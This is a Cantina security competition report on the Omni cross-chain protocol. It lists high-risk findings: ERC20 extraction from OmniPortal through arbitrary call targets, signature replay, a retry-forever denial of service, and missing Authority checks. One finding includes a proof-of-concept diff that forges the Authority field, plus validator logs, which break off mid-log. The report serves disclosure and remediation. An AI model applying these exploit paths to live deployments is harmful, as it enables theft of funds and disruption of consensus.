CANTINA

Omni

Competition

January 24, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Omni is the platform for building chain abstracted applications. By linking into each rollup, developers can source liquidity and users from the entire Ethereum ecosystem.

From Oct 14th to Nov 4th Cantina hosted a competition based on omni. The participants identified a total of **604** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 130
- Medium Risk: 173
- Low Risk: 185
- Gas Optimizations: 0
- Informational: 116

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 All ERC20 holded by the OmniPortal can be easily extracted

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

The function to execute a message that has been validated works as follows:

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    ...

    // do not allow user xcalls to the portal
    // only sys xcalls (to _VIRTUAL_PORTAL_ADDRESS) are allowed to be executed on the portal
    if (xmsg_.to == address(this)) {
        emit XReceipt(
            sourceChainId,
            shardId,
            offset,
            0,
            msg.sender,
            false,
            abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
        );

        return;
    }

    // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
    ↪  xmsg()
    _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

    (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
    ↪  VirtualPortalAddress are syscalls
        ? _syscall(xmsg_.data)
        : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

    // reset xmsg to zero
    delete _xmsg;

    bytes memory errorMsg = success ? bytes("") : result;

    emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
}

function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
    uint256 gasLeftBefore = gasleft();

    // use excessivelySafeCall for external calls to prevent large return bytes mem copy
    (bool success, bytes memory result) =
        to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
        ↪  data });

    uint256 gasLeftAfter = gasleft();

    // Ensure relayer sent enough gas for the call
    // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
    ↪  c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
    if (gasLeftAfter <= gasLimit / 63) {
        // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
        ↪  exception
        assembly {
            invalid()
        }
    }

    return (success, result, gasLeftBefore - gasLeftAfter);
}
```

As we can see, there is no validation on the address to execute the call. Hence somebody can target a

message to be executed in an ERC20 token contract and transfer the funds out to the attacker address. Note that in the contest details it states:

```
Each contract holds significant funds - the OMNI ERC20 on Ethereum, and the native token on Omni.
```

Hence, anyone can extract all OMNI ERC20 tokens out of the portal. The Omni portal should not hold any funds.

3.1.2 Replays can cause loss of all funds

Severity: High Risk

Context: OmniPortal.sol#L174

anyone can just replay the same validated signatures and run again the transactions as the call to this function does not change the storage or marks anything as used we can just call this again and again.

fix: use nonce and prevent replays

3.1.3 If-statement can never be reached, leading to DoS

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: If we take a look at the following function, we see that it will retry `pushPayload` forever:

```
    err = retryForever(ctx, func(ctx context.Context) (bool, error) {
        status, err := pushPayload(ctx, s.engineCl, payload)
        if err != nil || isUnknown(status) {
            // We need to retry forever on networking errors, but can't easily identify them, so retry all
↪   errors.
            log.Warn(ctx, "Verifying proposal failed: push new payload to evm (will retry)", err,
                "status", status.Status)

            return false, nil // Retry
        } else if invalid, err := isInvalid(status); invalid {
            return false, errors.Wrap(err, "invalid payload, rejecting proposal") // Abort, don't retry
        } else if isSyncing(status) {
            // If this is initial sync, we need to continue and set a target head to sync to, so don't retry.
            log.Warn(ctx, "Can't properly verifying proposal: evm syncing", err,
                "payload_height", payload.Number)
        }

        return true, nil // Done
    })
```

`isUnknown()` checks if the status that was returned is one of these four statuses:

```
func isUnknown(status engine.PayloadStatusV1) bool {
    if status.Status == engine.VALID ||
        status.Status == engine.INVALID ||
        status.Status == engine.SYNCING ||
        status.Status == engine.ACCEPTED {
        return false
    }

    return true
}
```

If its one of the for statuses, it will return `false` and the loop will retry.

The problem is that `engine.INVAILD` is included in the `isUnknown()` function, which is meant to be checked in the next if-statement:

```
    } else if invalid, err := isInvalid(status); invalid {
        return false, errors.Wrap(err, "invalid payload, rejecting proposal") // Abort, don't retry
```

```
func isInvalid(status engine.PayloadStatusV1) (bool, error) {
    if status.Status != engine.INVALID {
        return false, nil
    }

    valErr := "nil"
    if status.ValidationError != nil {
        valErr = *status.ValidationError
    }

    hash := "nil"
    if status.LatestValidHash != nil {
        hash = status.LatestValidHash.Hex()
    }

    return true, errors.New("payload invalid", "validation_err", valErr, "last_valid_hash", hash)
}
```

This means that this if-statement will never be reached, because if the error is `engine.INVALID`, it will be caught by `isUnknown()` and it will attempt to retry, forever.

This means that a critical invariant, being that it should abort when the status is `engine.INVALID`, is broken. This breaks the creation of new consensus blocks - nodes that are processing this invalid payload will continue to retry.

Recommendation: Do not check for `engine.INVALID` in the first if-statement OR remove the second if-else branch.

3.1.4 `Authority` is not verified for `ExecutionPayload` and `AddVotes` gRPC calls

Severity: High Risk

Context: app_config.go#L127-L133

- Description Message `Authority` is **not verified** by other validators! I assume `Auth module` will do his job and validate that at least the message is has not been tempered with and also that the signer correspond to the authority provided in the message (so enforcing option (cosmos.msg.v1.signer) = "authority"), BUT then no one validate that the `authority is actually legetimate`, so anyone could sign such message, which seems a major security flaw.
- Proof of Concept I'm using the `e2e framework` to proove the problem using the `fuzzyhead` network which include 4 validators. So the idea is after reaching 50 blocks, whenever a specific validator (in my case I pick validator2 --> e3b82d3) is proposing, I will activate this attack which will be sending a random Authority `based on Module unexistant "allo"`.

Open docker console (at least in Windows, or fetch the logs manually from validators containers), you will see the problem occurs at some point after block 50. In my case it was at `block 59`.

You can see validator 2 is proposing block with the wrong Authority, that is detected by my soft check added, and just works as nothing happened, the same happen with the others validators, so this block is accepted in the chain as usual.

- How to reproduce Apply those changes and do the following commands from project root.
- `make build-docker` (to build the docker images with the new changes which include the hack)
- `make devnet-deploy2` (to deploy the local network)
- `make devnet-clean2` (to stop it once you confirmed the issue)

Makefile

```
@@ -76,6 +76,16 @@ devnet-clean: ## Deletes devnet1 containers
        @echo "Stopping the devnet in ./e2e/run/devnet1"
        @go run github.com/omni-network/omni/e2e -f e2e/manifests/devnet1.toml clean

+.PHONY: devnet-deploy2
+devnet-deploy2: ## Deploys fuzzyhead
+       @echo "Creating a docker-compose devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml deploy
+
+.PHONY: devnet-clean2
+devnet-clean2: ## Deletes fuzzyhead containers
+       @echo "Stopping the devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml clean
+
 .PHONY: e2e-ci
 e2e-ci: ## Runs all e2e CI tests
        @go install github.com/omni-network/omni/e2e
```

octane/evmengine/keeper/abci.go

```
+   var globalPrososer string
+   h := hex.EncodeToString(req.ProposerAddress)
+   const maxLen = 7
+   if len(h) > maxLen {
+       h = h[:maxLen]
+   }
+   globalPrososer = h
+
+
+   headtmp, err := k.getExecutionHead(ctx)
+   authority := types.ModuleName
+   // Only infect a specific proposer when it's his turn to propose
+   if globalPrososer == "e3b82d3" {
+       if headtmp.GetBlockHeight() > 50 {
+           nativeLog.Printf("*******************************Octane::Keeper::PrepareProposal(): INFECTING
↪  Authority")
+           authority = "allo"
+       }
+   }
+   globalPrososer = ""

    // Create execution payload message
    payloadData, err := json.Marshal(payloadResp.ExecutionPayload)
    if err != nil {
        return nil, errors.Wrap(err, "encode")
    }

     ...

    // Then construct the execution payload message.
    payloadMsg := &types.MsgExecutionPayload{
-       Authority:         authtypes.NewModuleAddress(types.ModuleName).String(),
+       Authority:         authtypes.NewModuleAddress(authority).String(),
        ExecutionPayload:  payloadData,
        PrevPayloadEvents: evmEvents,
    }
```

octane/evmengine/keeper/proposal_server.go

```
func (s proposalServer) ExecutionPayload(ctx context.Context, msg *types.MsgExecutionPayload,
) (*types.ExecutionPayloadResponse, error) {
    nativeLog.Printf("*******************************Octane::proposalServer::ExecutionPayload()")

+   if msg.GetAuthority() != authtypes.NewModuleAddress(types.ModuleName).String() {
+       nativeLog.Printf("*******************************Octane::proposalServer::ExecutionPayload() - Not
↪  authorized (soft)! %s vs %s ", msg.GetAuthority(), authtypes.NewModuleAddress(types.ModuleName).String())
+   }

      ...
```

- Impact `High` as this allow another entity then Octane Module to authorized proposal message.
- Likelihood `Medium` this would certainly happen once validator are permissionless or an honest validator that turn malicious during permissioned release.

- Recommendation Verify the Authority in both gRPC call in `proposal_server.go`! So while this report only showcase `ExecutionPayload` gRPC, the same logic needs to be applied to `AddVotes` which has a different authority (Attest module)

PoC - OUTPUT

```
Val1 (proposer == 2679b0b)
--------
2024-10-25 11:35:15 24-10-25 15:35:15.897 DEBU  ABCI call: ProcessProposal           height=59 proposer=e3b82d3
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:15 24-10-25 15:35:15.900 DEBU Marked local votes as proposed          votes=6 1001651=[20]
↪  1652="[23 24 27]" 1651="[25 25]"
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::SetProposed()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  *******************************Octane::proposalServer::ExecutionPayload()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  *******************************Octane::proposalServer::ExecutionPayload() - Not authorized (soft)!
↪  omni15t20l8rsk7ugfczwqnqcffal3graegpfasau2h vs omni1v9nlyfvy3r3l2nrhxmhuxwxk2e2yqpfhpf2em2
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  *******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:16 24-10-25 15:35:16.024 DEBU  ABCI call: ExtendVote               height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 **********************ExtendVote()
2024-10-25 11:35:16 24-10-25 15:35:16.024 INFO Voted for rollup blocks                votes=2 1001651-4=[21]
↪  1654-4="[15 16]"
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::runOnce(): height: 57,
↪  AttestInterval: 5
2024-10-25 11:35:16 24-10-25 15:35:16.122 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 **********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 24-10-25 15:35:16.123 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 **********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 2024/10/25 15:35:16 ****************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Keeper::Add()
2024-10-25 11:35:16 24-10-25 15:35:16.133 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=149 existing_valset_id=15 vote_valset_id=16 chain=mock_l1|L attest_offset=27 sigs=1
2024-10-25 11:35:16 24-10-25 15:35:16.133 DEBU Marked local votes as committed          votes=6 1652="[23 24
↪  27]" 1651="[25 25]" 1001651=[20]
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::SetCommitted()
2024-10-25 11:35:16 2024/10/25 15:35:16 *******************************Octane::msgServer::ExecutionPayload()
2024-10-25 11:35:16 2024/10/25 15:35:16 *******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:16 2024/10/25 15:35:16 *******************************Octane::msgServer::ExecutionPayload():
↪  LocalAddress --> 0x26B05564cBA18807aacCFCe9804215341cd461B7
2024-10-25 11:35:16 24-10-25 15:35:16.144 DEBU Delivered evm logs                    height=57 count=0
2024-10-25 11:35:16 2024/10/25 15:35:16 *******************************Attest::Keeper::Approve()
2024-10-25 11:35:16 24-10-25 15:35:16.144 DEBU  Approved attestation                chain=omni_evm|L
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.144 DEBU  Approved attestation                chain=omni_evm|F
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.144 DEBU  Approved attestation                chain=mock_l1|F
↪  attest_offset=23 height=84 hash=b2c434e
2024-10-25 11:35:16 24-10-25 15:35:16.144 DEBU  Approved attestation                chain=mock_l1|F
↪  attest_offset=24 height=86 hash=62fb162
2024-10-25 11:35:16 24-10-25 15:35:16.144 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=15 height=86 hash=17d4f94
2024-10-25 11:35:16 24-10-25 15:35:16.145 DEBU  Approved attestation                chain=omni_consensus|F
↪  attest_offset=20 height=20 hash=0000000
2024-10-25 11:35:16 2024/10/25 15:35:16 *******************************Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::TrimBehind()
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************ValSync::Keeper::Add(EndBlock)
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::UpdateValidatorSet()
2024-10-25 11:35:16 24-10-25 15:35:16.145 INFO  Activating attested validator set     valset_id=19
↪  created_height=57 height=59
2024-10-25 11:35:16 24-10-25 15:35:16.146 DEBU hash of all writes
↪  workingHash=C9F34CE78D7EDF88855FA9E877367FA4B7D7547AED3DE065C62FF56176AD9C3E
2024-10-25 11:35:16 24-10-25 15:35:16.146 DEBU  ABCI response: FinalizeBlock          height=59 val_updates=1
↪  pubkey_0=03e7453 power_0=105
2024-10-25 11:35:16 24-10-25 15:35:16.147 DEBU  ABCI call: Commit
```

```
Val2 (proposer == e3b82d3)
--------
```

```
2024-10-25 11:35:15 24-10-25 15:35:15.779 DEBU  ABCI call: PrepareProposal            height=59 proposer=e3b82d3
2024-10-25 11:35:15 2024/10/25 15:35:15 ******************************Octane::Keeper::PrepareProposal()
2024-10-25 11:35:15 24-10-25 15:35:15.779 DEBU Using optimistic payload                height=59
↪  payload=0x036da412d3d69ac3
2024-10-25 11:35:15 2024/10/25 15:35:15 ******************************Octane::Keeper::PrepareProposal():
↪  block builded : hash :0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:15 2024/10/25 15:35:15 ******************************Octane::Keeper::PrepareProposal():
↪  INFECTING Authority
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Keeper::PrepareVotes()
2024-10-25 11:35:15 24-10-25 15:35:15.783 INFO Proposing new block                    height=59
↪  execution_block_hash=d0e12ba vote_msgs=1 evm_events=0
2024-10-25 11:35:15 24-10-25 15:35:15.798 DEBU  ABCI call: ProcessProposal            height=59 proposer=e3b82d3
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:15 24-10-25 15:35:15.801 DEBU Marked local votes as proposed          votes=5 1651="[25 25]"
↪  1654=[15] 1001651=[20] 1652=[24]
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::SetProposed()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ******************************Octane::proposalServer::ExecutionPayload() - Not authorized (soft)!
↪  omni15t20l8rsk7ugfczwqnqcffal3graegpfasau2h vs omni1v9nlyfvy3r3l2nrhxmhuxwxk2e2yqpfhpf2em2
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::runOnce(): height: 88,
↪  AttestInterval: 10
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::runOnce(): height: 88,
↪  AttestInterval: 10
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::Vote(): allowSkip: false, height: 88
2024-10-25 11:35:15 24-10-25 15:35:15.879 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=88 offset=25 msgs=1 L|omni_evm=6
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::runOnce(): height: 57,
↪  AttestInterval: 5
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::runOnce(): height: 96,
↪  AttestInterval: 10
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::runOnce(): height: 96,
↪  AttestInterval: 10
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::Vote(): allowSkip: false, height: 96
2024-10-25 11:35:15 24-10-25 15:35:15.924 DEBU  Created vote for cross chain block    chain=mock_l2|L
↪  height=96 offset=19 msgs=2 L|mock_l1=6 L|omni_evm=6
2024-10-25 11:35:16 24-10-25 15:35:16.024 DEBU  ABCI call: ExtendVote                height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 ***********************ExtendVote()
2024-10-25 11:35:16 24-10-25 15:35:16.025 INFO Voted for rollup blocks                  votes=4 1652-4=[25]
↪  1654-4=[16] 1654-1=[19] 1001651-4=[21]
2024-10-25 11:35:16 24-10-25 15:35:16.122 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 ***********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 24-10-25 15:35:16.133 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 ***********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Keeper::Add()
2024-10-25 11:35:16 24-10-25 15:35:16.142 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=149 existing_valset_id=15 vote_valset_id=16 chain=mock_l1|L attest_offset=27 sigs=1
2024-10-25 11:35:16 24-10-25 15:35:16.142 DEBU Marked local votes as committed        votes=5 1654=[15]
↪  1001651=[20] 1652=[24] 1651="[25 25]"
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::SetCommitted()
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Octane::msgServer::ExecutionPayload()
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Octane::msgServer::ExecutionPayload():
↪  LocalAddress --> 0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73
2024-10-25 11:35:16 24-10-25 15:35:16.151 DEBU Delivered evm logs                     height=57 count=0
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Attest::Keeper::Approve()
2024-10-25 11:35:16 24-10-25 15:35:16.152 DEBU  Approved attestation                chain=omni_evm|L
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.152 DEBU  Approved attestation                chain=omni_evm|F
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.152 DEBU  Approved attestation                chain=mock_l1|F
↪  attest_offset=23 height=84 hash=b2c434e
2024-10-25 11:35:16 24-10-25 15:35:16.152 DEBU  Approved attestation                chain=mock_l1|F
↪  attest_offset=24 height=86 hash=62fb162
2024-10-25 11:35:16 24-10-25 15:35:16.152 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=15 height=86 hash=17d4f94
```

```
2024-10-25 11:35:16 24-10-25 15:35:16.152 DEBU  Approved attestation                  chain=omni_consensus|F
↪  attest_offset=20 height=20 hash=0000000
2024-10-25 11:35:16 2024/10/25 15:35:16 ********************************Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************Voter::TrimBehind()
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************ValSync::Keeper::Add(EndBlock)
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************Voter::UpdateValidatorSet()
2024-10-25 11:35:16 24-10-25 15:35:16.153 INFO  Activating attested validator set     valset_id=19
↪  created_height=57 height=59
2024-10-25 11:35:16 24-10-25 15:35:16.154 DEBU hash of all writes
↪  workingHash=C9F34CE78D7EDF88855FA9E877367FA4B7D7547AED3DE065C62FF56176AD9C3E
2024-10-25 11:35:16 24-10-25 15:35:16.154 DEBU  ABCI response: FinalizeBlock          height=59 val_updates=1
↪  pubkey_0=03e7453 power_0=105
2024-10-25 11:35:16 24-10-25 15:35:16.156 DEBU  ABCI call: Commit
```

```
Val3 (proposer == 61a2a25)
--------
2024-10-25 11:35:15 24-10-25 15:35:15.897 DEBU  ABCI call: ProcessProposal            height=59 proposer=e3b82d3
2024-10-25 11:35:15 2024/10/25 15:35:15 ***************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:15 24-10-25 15:35:15.900 DEBU Marked local votes as proposed           votes=5 1654=[15]
↪  1001651=[20] 1652=[24] 1651="[25 25]"
2024-10-25 11:35:15 2024/10/25 15:35:15 ***************************Voter::SetProposed()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ******************************Octane::proposalServer::ExecutionPayload() - Not authorized (soft)!
↪  omni15t20l8rsk7ugfczwqnqcffal3graegpfasau2h vs omni1v9nlyfvy3r3l2nrhxmhuxwxk2e2yqpfhpf2em2
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:16 24-10-25 15:35:16.023 DEBU  ABCI call: ExtendVote               height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 ***********************ExtendVote()
2024-10-25 11:35:16 24-10-25 15:35:16.024 INFO Voted for rollup blocks                votes=1 1654-4=[16]
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************Voter::runOnce(): height: 21,
↪  AttestInterval: 0
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************Voter::Vote(): allowSkip: false, height: 21
2024-10-25 11:35:16 24-10-25 15:35:16.045 DEBU  Created vote for cross chain block    chain=omni_consensus|F
↪  height=21 offset=21 msgs=1 B|=21
2024-10-25 11:35:16 24-10-25 15:35:16.122 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 ***********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 24-10-25 15:35:16.123 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 ***********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************Keeper::Add()
2024-10-25 11:35:16 24-10-25 15:35:16.133 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=149 existing_valset_id=15 vote_valset_id=16 chain=mock_l1|L attest_offset=27 sigs=1
2024-10-25 11:35:16 24-10-25 15:35:16.133 DEBU Marked local votes as committed          votes=5 1001651=[20]
↪  1652=[24] 1651="[25 25]" 1654=[15]
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************Voter::SetCommitted()
2024-10-25 11:35:16 2024/10/25 15:35:16 ********************************Octane::msgServer::ExecutionPayload()
2024-10-25 11:35:16 2024/10/25 15:35:16 ********************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:16 2024/10/25 15:35:16 ********************************Octane::msgServer::ExecutionPayload():
↪  LocalAddress --> 0xa8f155c47769A57b32A3E9b667E189F7fc0250f1
2024-10-25 11:35:16 24-10-25 15:35:16.143 DEBU Delivered evm logs                     height=57 count=0
2024-10-25 11:35:16 2024/10/25 15:35:16 ********************************Attest::Keeper::Approve()
2024-10-25 11:35:16 24-10-25 15:35:16.143 DEBU  Approved attestation                  chain=omni_evm|L
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.143 DEBU  Approved attestation                  chain=omni_evm|F
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.143 DEBU  Approved attestation                  chain=mock_l1|F
↪  attest_offset=23 height=84 hash=b2c434e
2024-10-25 11:35:16 24-10-25 15:35:16.143 DEBU  Approved attestation                  chain=mock_l1|F
↪  attest_offset=24 height=86 hash=62fb162
2024-10-25 11:35:16 24-10-25 15:35:16.143 DEBU  Approved attestation                  chain=mock_l2|F
↪  attest_offset=15 height=86 hash=17d4f94
2024-10-25 11:35:16 24-10-25 15:35:16.143 DEBU  Approved attestation                  chain=omni_consensus|F
↪  attest_offset=20 height=20 hash=0000000
2024-10-25 11:35:16 2024/10/25 15:35:16 ********************************Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************Voter::TrimBehind()
2024-10-25 11:35:16 2024/10/25 15:35:16 ***************************ValSync::Keeper::Add(EndBlock)
```

```
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::UpdateValidatorSet()
2024-10-25 11:35:16 24-10-25 15:35:16.144 INFO  Activating attested validator set     valset_id=19
↪  created_height=57 height=59
2024-10-25 11:35:16 24-10-25 15:35:16.145 DEBU hash of all writes
↪  workingHash=C9F34CE78D7EDF88855FA9E877367FA4B7D7547AED3DE065C62FF56176AD9C3E
2024-10-25 11:35:16 24-10-25 15:35:16.145 DEBU  ABCI response: FinalizeBlock          height=59 val_updates=1
↪  pubkey_0=03e7453 power_0=105
2024-10-25 11:35:16 24-10-25 15:35:16.147 DEBU  ABCI call: Commit
```

```
Val4 (proposer == f810bdb)
--------
2024-10-25 11:35:15 24-10-25 15:35:15.897 DEBU  ABCI call: ProcessProposal            height=59 proposer=e3b82d3
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:15 24-10-25 15:35:15.900 DEBU Marked local votes as proposed           votes=5 1652=[23]
↪  1651="[25 25]" 1654=[15] 1001651=[20]
2024-10-25 11:35:15 2024/10/25 15:35:15 **************************Voter::SetProposed()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-10-25 11:35:15 2024/10/25 15:35:15
↪  ********************************Octane::proposalServer::ExecutionPayload() - Not authorized (soft)!
↪  omni15t20l8rsk7ugfczwqnqcffal3graegpfasau2h vs omni1v9nlyfvy3r3l2nrhxmhuxwxk2e2yqpfhpf2em2
2024-10-25 11:35:15 2024/10/25 15:35:15
